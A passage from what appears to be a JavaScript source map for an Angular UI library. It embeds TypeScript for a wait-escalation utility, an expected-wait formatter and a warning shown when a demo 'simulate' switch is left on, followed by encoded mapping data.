*/\n  readonly label = input('');\n\n  protected readonly svgClass = computed(() =>\n    ('animate-spin shrink-0 ' + this.cssClass()).trim(),\n  );\n}\n","import { computed, signal, type DestroyRef, type Signal } from '@angular/core';\n\n/**\n * How long a wait has been going on, in three words instead of a millisecond\n * count.\n *\n * ── The defect this exists for (`OF-18-I5`, `OF-17-I7`) ─────────────────────\n *\n * ★★★ A SPINNER IS INDISTINGUISHABLE FROM A FAILED REQUEST, FOREVER. Both are\n *     \"something is happening and I cannot tell you anything about it\", and a\n *     spinner that has been going for ninety seconds is no longer telling the\n *     truth: nothing is happening. The user's only move is to reload the page\n *     and lose whatever they had typed — which is exactly what they do.\n *\n * ★★ THE SAME IS TRUE OF A SKELETON, AND WORSE. A skeleton says \"the shape of\n *    your data is arriving\"; a stuck one says that permanently, in the exact\n *    place the data was going to be. There is no timeout, no error, no retry —\n *    the host's request failed silently and the placeholder outlived it.\n *\n * ★ Two thresholds, not one, because the honest answers differ. At ten seconds\n *   the right thing to say is \"this is taking longer than usual\" — the request\n *   is probably fine and an error would be a lie. At thirty it is \"this has\n *   stopped being a wait\", and the surface owes the user a way out: a cancel, a\n *   retry, or at minimum an acknowledgement that it is stuck.\n */\nexport type SvWaitStage =\n  /** Nothing is waiting. */\n  | 'idle'\n  /** Waiting, and that is normal. */\n  | 'waiting'\n  /** Longer than usual. Say so; do not claim failure. */\n  | 'slow'\n  /** Long enough that \"waiting\" is no longer a useful description. */\n  | 'stalled';\n\nexport interface SvWaitEscalationOptions {\n  /**\n   * When `waiting` becomes `slow`, in ms. `0` or less never escalates.\n   *\n   * Accepts a signal so a component can expose it as an input.\n   * @default 10_000\n   */\n  readonly slowAfterMs?: number | Signal<number>;\n  /**\n   * When it becomes `stalled`, in ms from the same start. `0` or less never\n   * escalates. @default 30_000\n   */\n  readonly stalledAfterMs?: number | Signal<number>;\n  /**\n   * Destroy hook. Pass `inject(DestroyRef)` from a field initializer and the\n   * timers are cleared on teardown — a timer that fires into a destroyed\n   * component is the leak that only shows up under a router which reuses the\n   * route.\n   */\n  readonly destroyRef?: DestroyRef | null;\n}\n\nexport interface SvWaitEscalation {\n  readonly stage: Signal<SvWaitStage>;\n  /** `slow` or worse. */\n  readonly slow: Signal<boolean>;\n  /** `stalled`. */\n  readonly stalled: Signal<boolean>;\n  /**\n   * Begin (or continue) waiting.\n   *\n   * ★★ IDEMPOTENT, AND THAT IS THE WHOLE DESIGN. Every caller is a template or\n   *    an `effect` that runs again for reasons unrelated to the wait — a\n   *    keystroke elsewhere, a theme change, a parent re-render. A `start()`\n   *    that restarted the clock would mean a busy page never escalates at all,\n   *    which is the failure mode that looks like the feature working.\n   */\n  start(): void;\n  /** Stop waiting and return to `idle`. Safe to call when already idle. */\n  stop(): void;\n  /** Clear the timers. Called for you when `destroyRef` was supplied. */\n  destroy(): void;\n}\n\nconst DEFAULT_SLOW_MS = 10_000;\nconst DEFAULT_STALLED_MS = 30_000;\n\n/**\n * Escalate a wait through `waiting → slow → stalled` on two timers.\n *\n * ```ts\n * protected readonly wait = createWaitEscalation({\n *   slowAfterMs: this.slowAfterMs,\n *   stalledAfterMs: this.stalledAfterMs,\n *   destroyRef: inject(DestroyRef),\n * });\n *\n * constructor() {\n *   effect(() => (this.loading() ? this.wait.start() : this.wait.stop()));\n * }\n * ```\n *\n * A plain factory: two timers and a signal, no injection context, callable\n * from a field initializer.\n */\nexport function createWaitEscalation(\n  options: SvWaitEscalationOptions = {},\n): SvWaitEscalation {\n  const msOf = (\n    value: number | Signal<number> | undefined,\n    fallback: number,\n  ): number => {\n    const ms = value === undefined ? fallback : typeof value === 'number' ? value : value();\n    return Number.isFinite(ms) ? ms : 0;\n  };\n\n  const stage = signal<SvWaitStage>('idle');\n  let slowTimer: ReturnType<typeof setTimeout> | null = null;\n  let stalledTimer: ReturnType<typeof setTimeout> | null = null;\n\n  const clear = (): void => {\n    if (slowTimer !== null) { clearTimeout(slowTimer); slowTimer = null; }\n    if (stalledTimer !== null) { clearTimeout(stalledTimer); stalledTimer = null; }\n  };\n\n  const api: SvWaitEscalation = {\n    stage: stage.asReadonly(),\n    // ★ Derived, not a third signal: \"is it slow?\" cannot then disagree with\n    //   \"what stage is it?\", which is how a two-flag version of this drifts.\n    slow: computed(() => stage() === 'slow' || stage() === 'stalled'),\n    stalled: computed(() => stage() === 'stalled'),\n\n    start: (): void => {\n      if (stage() !== 'idle') return;   // already waiting — see `start`'s note\n      stage.set('waiting');\n\n      const slowMs = msOf(options.slowAfterMs, DEFAULT_SLOW_MS);\n      const stalledMs = msOf(options.stalledAfterMs, DEFAULT_STALLED_MS);\n\n      if (slowMs > 0) {\n        slowTimer = setTimeout(() => {\n          slowTimer = null;\n          // ★ Never demote: a `stalled` wait that hears from the slow timer\n          //   late — a suspended tab, a debugger pause, timers firing out of\n          //   order under fake clocks — must not go back to saying \"longer\n          //   than usual\".\n          if (stage() === 'waiting') stage.set('slow');\n        }, slowMs);\n      }\n      if (stalledMs > 0) {\n        stalledTimer = setTimeout(() => {\n          stalledTimer = null;\n          // ★ No `idle` check here, unlike the slow timer above. `stop()`\n          //   clears both timers, so this callback cannot run after one — I\n          //   wrote the guard, it survived every mutation, and it is gone.\n          //   The guard above is NOT redundant: it is the never-demote rule,\n          //   and removing it turns a stalled wait back into a slow one.\n          stage.set('stalled');\n        }, stalledMs);\n      }\n    },\n\n    stop: (): void => {\n      clear();\n      stage.set('idle');\n    },\n\n    destroy: clear,\n  };\n\n  options.destroyRef?.onDestroy(clear);\n\n  return api;\n}\n\n// ── Stating the expectation (`OF-18-I8`) ─────────────────────────────────────\n\n/**\n * Turn \"how long this usually takes\" into the sentence a user can act on.\n *\n * ★★★ AN ESCALATION IS AN APOLOGY, NOT AN EXPECTATION. `createWaitEscalation`\n *     above only ever speaks once a wait has already gone wrong — it says\n *     \"longer than usual\" without ever having said what usual IS. A user who\n *     is told nothing for ten seconds has already decided the page is broken;\n *     the decision that matters is made in the first second, and it is made on\n *     information the host almost always has and never passes on.\n *\n * ★★ NEVER UNDERSTATE. Every figure here rounds UP, and that is deliberate:\n *    a user told \"about 1 minute\" who waits ninety seconds has been lied to,\n *    while one told \"about 2 minutes\" who is served in ninety seconds got a\n *    pleasant surprise. The two errors are not symmetrical, so the rounding\n *    is not either.\n *\n * ★ AND DO NOT OVER-CLAIM PRECISION. Above ten seconds the figure snaps to a\n *   five-second grid, because the number came from a host's estimate and\n *   \"about 23 seconds\" dresses a guess up as a measurement. Below ten it\n *   rounds to the second, where the grid would be coarser than the wait.\n *\n * Returns `null` for anything that is not a positive, finite duration — a\n * caller can pass its raw input straight in and render the result or nothing.\n *\n * @example\n * ```ts\n * svFormatExpectedWait(8_000);   // 'about 8 seconds'\n * svFormatExpectedWait(23_000);  // 'about 25 seconds'\n * svFormatExpectedWait(60_000);  // 'about 1 minute'\n * svFormatExpectedWait(0);       // null\n * ```\n */\nexport function svFormatExpectedWait(ms: number): string | null {\n  if (!Number.isFinite(ms) || ms <= 0) return null;\n\n  const seconds = ms / 1000;\n\n  // ★ A 200ms expectation still reads \"about 1 second\" — \"about 0 seconds\" is\n  //   not a sentence, and a host passing a figure that small has made a units\n  //   mistake this function cannot fix for it. There is no floor here doing\n  //   that work: I wrote `Math.max(1, …)` and no mutation could kill it,\n  //   because rounding UP off a positive duration cannot reach zero. The\n  //   guarantee is the ceiling's, so the floor is gone.\n  const snapped = seconds <= 10\n    ? Math.ceil(seconds)\n    : Math.ceil(seconds / 5) * 5;\n\n  // ★ The grid is applied BEFORE the unit is chosen, so 59s does not become\n  //   \"about 60 seconds\" — the snap pushed it to a minute, and a minute is\n  //   what a minute is called.\n  if (snapped < 60) return `about ${snapped} second${snapped === 1 ? '' : 's'}`;\n\n  const minutes = Math.ceil(snapped / 60);\n  return `about ${minutes} minute${minutes === 1 ? '' : 's'}`;\n}\n","declare const ngDevMode: boolean | undefined;\n\n/** One warning per component name, so a grid of twelve cards logs once. */\nconst warned = new Set<string>();\n\n/**\n * Warn that a component is faking work because `simulate` is on.\n *\n * `simulate` defaults to `false` in every component that has it, so production\n * never depends on an integrator remembering a demo switch. This covers the\n * opposite mistake: a demo left on in a dev build, where a fabricated refresh,\n * rewrite, or indexing ramp is indistinguishable from the real thing. Silent in\n * production bundles.\n *\n * Shared rather than copied per package: three components need this warning, and\n * the second copy of \"name the component and say the work was faked\" always\n * drifts from the first.\n */\nexport function svWarnSimulating(selector: string): void {\n  if (typeof ngDevMode === 'undefined' || !ngDevMode) return;\n  if (warned.has(selector)) return;\n  warned.add(selector);\n  console.warn(\n    `[styloviz] <${selector}> ran a simulated action because simulate is true. ` +\n      'Nothing left the component and no real work happened — the result you see ' +\n      'is bundled sample data. Remove simulate before shipping.',\n  );\n}\n"],"mappings":"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